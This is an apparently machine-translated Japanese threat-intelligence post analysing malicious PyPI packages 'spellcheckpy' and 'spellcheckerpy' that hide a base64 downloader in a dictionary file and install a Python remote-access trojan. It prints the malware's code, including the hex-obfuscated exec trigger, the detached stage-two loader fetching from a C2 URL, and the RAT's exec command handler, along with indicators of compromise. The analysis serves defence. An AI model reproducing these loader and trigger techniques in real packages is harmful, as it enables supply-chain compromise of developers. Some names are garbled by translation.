Aikido

悪意のあるPyPIパッケージ「spellcheckpy」と「spellcheckerpy」がPython RATを配布

チャーリー・エリクセンチャーリー・エリクセン
|
#
#
#

2026年1月20日および21日、当社のマルウェア検出パイプラインが2つの新規PyPIパッケージを検知しました: スペルチェッカーパイ そして スペルチェックパイ両者ともpyspellcheckerライブラリの正当な作者であると主張している。両者とも彼の実際のGitHubリポジトリにリンクされている。

それらは彼の物ではなかった。

バスク語辞書ファイル内に隠されていたのは、完全機能のPython RATをダウンロードするbase64エンコードされたペイロードだった。攻撃者はまずペイロードは存在するがトリガーが欠如した「休眠」状態のバージョンを3つ公開し、その後スイッチを切り替えて スペルチェックパイ v1.2.0、インポートした瞬間に発動する難読化された実行トリガーを追加 スペルチェッカー.

平然と隠されたペイロード

マルウェア作成者は創意工夫を凝らした。常套手段(ポストインストール スクリプト、難読化済み __init__.py)彼らはペイロードを内部に埋めた リソース/eu.json.gzバスク語の単語頻度を正当に含むファイル pyspellchecker パッケージ。

抽出関数は以下の通りです ユーティリティ.py:

def test_file(filepath: PathOrStr, encoding: str, index: str):
    filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
    with gzip.open(filepath, "rt", encoding=encoding) as f:
        data = json.loads(f.read())
        return data[index]

見た目は無害だ。しかし呼び出されると test_file("eu", "utf-8", "スペルチェッカー")単語の出現頻度を取得するわけではありません。辞書エントリの中に隠された、spellcheckerというキーの下にあるBase64エンコードされたダウンローダーを取得します。

休眠状態、そして致命的

最初の3つのバージョンでは、ペイロードは抽出されデコードされるが…決して実行されない:

test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# これで以上です。exec()は不要です。ペイロードはそのまま待機します。

安全装置がかかった装填済みの銃。

そしてやって来た スペルチェックパイ v1.2.0. 攻撃者はトリガーを移動した WordFrequency.__init__ そして難読化を追加した:

if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"), 
                "<string>", 
                bytes.fromhex("65786563").decode("utf-8"))):
    self._evaluate = True

見えますか?あの bytes.fromhex("65786563") デコードすると「実行".

書く代わりに exec() 静的スキャナがフラグを立てるようなコードを直接記述せず、実行時に16進数から文字列を再構築する。Import スペルチェッカーインスタンス化し、RATが実行される。

RAT:完全なリモートコントロール

ステージ1ペイロードはダウンローダーである。本物のペイロードを https://updatenet[.]work/settings/history.php そしてそれを独立したプロセスとして起動する:

p = subprocess.Popen(
    ["python3", "-"],
    stdin=subprocess.PIPE, 
    stdout=subprocess.DEVNULL, 
    stderr=subprocess.DEVNULL,
    start_new_session=True)

p.stdin.write(downloaded_payload)
p.stdin.close()

それ start_new_session=True 重要な点:RATはスクリプトが終了しても存続します。ディスクへのファイル書き込みなし。サイレント動作。デタッチド。

ステージ2 RATは、いくつかの興味深い特徴を備えたフル機能のリモートアクセストロイの木馬です:

システムフィンガープリンティングの初期化時実行:

szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12)
szPCode = "オペレーティングシステム : " + platform.platform()
szComputerName = "コンピュータ名 : " + socket.gethostname()

C2通信用二重層XOR暗号化: RATは16バイトのXOR鍵を使用する([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]外層には暗号鍵123を用いたXOR変換を施し、コマンドペイロードには二次的なXOR変換を適用する。暗号強度は高くないが、シグネチャベースの検知を回避するには十分である。

カスタムバイナリプロトコル: コマンドは以下のように返されます [4バイトのコマンドID][4バイトの長さ][XOR暗号化されたペイロード]RATはこれを解析し、復号化し、処理を割り当てる。

任意コード実行:コマンドID 1001が到着すると、RATは単に...それを実行する:

if nCMDID == 1001:
    exec(szCode)

持続的なビーコンループ:

RATは5秒ごとにホームに連絡する https://updatenet[.]work/update1.php被害者ID(キャンペーン)を送信する

FD429DEABE) であり、コマンドを待機しています。SSL証明書の検証は無効化されています。

ssl._create_unverified_context().

C2インフラ

C2ドメイン アップデーターネット[.]ワーク 悪意のある活動をホストした記録のあるインフラストラクチャへの解決策

ドメイン登録:

  • ドメイン: アップデーターネット[.]ワーク
  • 登録日: 2025年10月28日(マルウェア公開の約3ヶ月前)

ホスティングインフラストラクチャ:

  • IPアドレス: 172.86.73[.]139
  • ASN: AS14956 ルーターホスティング合同会社
  • 所在地:アメリカ合衆国テキサス州ダラス
  • 関連ドメイン: cloudzy.com
  • ネットワーク: 172.86.73.0/24

重要性:RouterHosting LLCはCloudzyとして運営されており、このホスティングプロバイダーは「コマンドアンドコントロールプロバイダー」(C2P)として広く記録されている。2023年8月、Halcyonは「Cloudzy with a Chance of Ransomware」と題する報告書を発表し、Cloudzyのトラフィックの40~60%が悪意のある性質を持つことを明らかにした。 同報告書は、Cloudzyのインフラが中国、イラン、北朝鮮、ロシアなどのAPTグループ、ランサムウェア運用者、および制裁対象のイスラエル製スパイウェアベンダーと関連していると指摘している。

過去のキャンペーンとの関連性

これは単発の事件ではない。2025年11月、 ヘリックスガードは同様の攻撃を記録した スペルチェッカーパッケージ(同じターゲット、異なる名称)を使用。このキャンペーンは同じRAT構造を採用:XOR暗号化、コマンドID 1001、exec()、ただし異なるC2インフラストラクチャ(ベストを尽くす[.]ストアヘリックスガードの報告書は、そのキャンペーンを仮想通貨保有者を標的とした偽の採用担当者によるソーシャルエンジニアリングと関連づけた。

異なるドメイン、同じ手口。これはまったく同じ脅威アクターによる活動と見受けられる。 

妥協の指標

パッケージ:spellcheckerpy (全バージョン)、spellcheckpy (全バージョン)

C2 インフラストラクチャ:

  • アップデーターネット[.]ワーク
  • https://updatenet[.]work/settings/history.php (ステージ2デリバリー)
  • https://updatenet[.]work/update1.php (ビーコンエンドポイント)
  • 172.86.73[.]139 (AS14956 ルーターホスティング合同会社 / クラウドジー)

キャンペーン識別子:

  • キャンペーンID: FD429DEABE
  • XORキー: 03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05
  • 二次的な排他的論理和: 0x7B (123)

ペイロード位置:

リソース/eu.json.gzキースペルチェッカー

4.7/5

今すぐソフトウェアを保護しましょう

無料で始める
CC不要
デモを予約する
データは共有されない - 読み取り専用アクセス - CC不要

今すぐ安全を確保しましょう

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。